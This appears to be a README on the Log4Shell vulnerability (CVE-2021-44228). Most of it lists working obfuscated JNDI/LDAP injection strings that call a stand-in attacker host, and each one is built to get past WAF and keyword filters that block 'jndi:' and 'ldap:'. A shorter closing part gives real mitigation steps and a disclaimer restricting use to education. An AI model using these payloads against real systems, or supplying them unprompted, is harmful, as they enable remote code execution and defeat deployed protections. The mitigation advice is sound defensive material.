π±βπ» βοΈ π€¬ LOG4J Java exploit - A trick to bypass words blocking patches
CVE-2021-44228 works on:
log4j: 2.0 <= Apache log4j <= 2.14.1
Java version already patched: 6u211+, 7u201+, 8u191+, 11.0.1+.
Windows Defender started to remove .java files that include jndi:ldap:....
Simple attacker script (Possible RCE):
${jndi:ldap://somesitehackerofhell.com/z}
WAF or developers started to block phrases:
- "ldap:"
- "jndi:"
to secure applications.
However, the attacker can bypass it by using one of these techniques:
${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//somesitehackerofhell.com/z}
From Apache Log4j 2 documentation: ${env:ENV_NAME:-default_value}
If there is no ENV_NAME system environment variable, use text after :-
The attacker can use any name instead of ENV_NAME, but it has to no exists.
On windows, you can check your system environment variables in PowerShell by writing:
dir env:
${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://somesitehackerofhell.com/z}
${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://somesitehackerofhell.com/z}
Lower Lookup The LowerLookup converts the passed in argument to lower case. Presumably the value will be the result of a nested lookup.
${lower:<text>}
Upper Lookup The UpperLookup converts the passed in argument to upper case. Presumably the value will be the result of a nested lookup.
${upper:<text>}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://somesitehackerofhell.com/z}
${jnd${upper:Δ±}:ldap://somesitehackerofhell.com/z}
Δ± get converted to i
${jnd${sys:SYS_NAME:-i}:ldap:/somesitehackerofhell.com/z}
If there is no SYS_NAME system property, use text after :-
${j${${:-l}${:-o}${:-w}${:-e}${:-r}:n}di:ldap://somesitehackerofhell.com/z}
Replace characters with:
- } with %7D
- { with %7B
- $ with %24
You can read more here HTML URL Encoding Reference
To test entry you can use:
- https://canarytokens.org/generate - Choose token Log4Shell (entry notification will be send by email or webhook), generate and replace somesitehackerofhell.com/z
- https://dnslog.cn/ - Generate subdomain and replace somesitehackerofhell.com/z
tl;dr Update to log4j-2.16.0
or later.
Log4j 1.x mitigation: Log4j 1.x does not have Lookups so the risk is lower. Applications using Log4j 1.x are only vulnerable to this attack when they use JNDI in their configuration. A separate CVE (CVE-2021-4104) has been filed for this vulnerability. To mitigate: audit your logging configuration to ensure it has no JMSAppender configured. Log4j 1.x configurations without JMSAppender are not impacted by this vulnerability.
Log4j 2.x mitigation: Implement one of the mitigation techniques below.
- Java 8 (or later) users should upgrade to release 2.16.0.
- Users requiring Java 7 should upgrade to release 2.12.2 when it becomes available (work in progress, expected to be available soon).
- Otherwise, remove the JndiLookup class from the classpath: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
Note that only the log4j-core JAR file is impacted by this vulnerability. Applications using only the log4j-api JAR file without the log4j-core JAR file are not impacted by this vulnerability.
Thanks to users:
- Whatsec for more bypasses examples
- manjula-aw for improvement to section of security
- Apache Log4j 2 v. 2.15.0 - User's Guide
- Possible first publication of lower/upper bypass
- CVE-2021-44228 (Apache Log4j Remote Code Execution)
- HTML URL Encoding Reference
- GitHub Reviewed CVE-2021-44228 - Remote code injection in Log4j
- Apache Log4j Security Vulnerabilities
This project can only be used for educational purposes. Using this software against target systems without prior permission is illegal, and any damages from misuse of this software will not be the responsibility of the author.
I am not an author of CVE-2021-44228 and some bypasses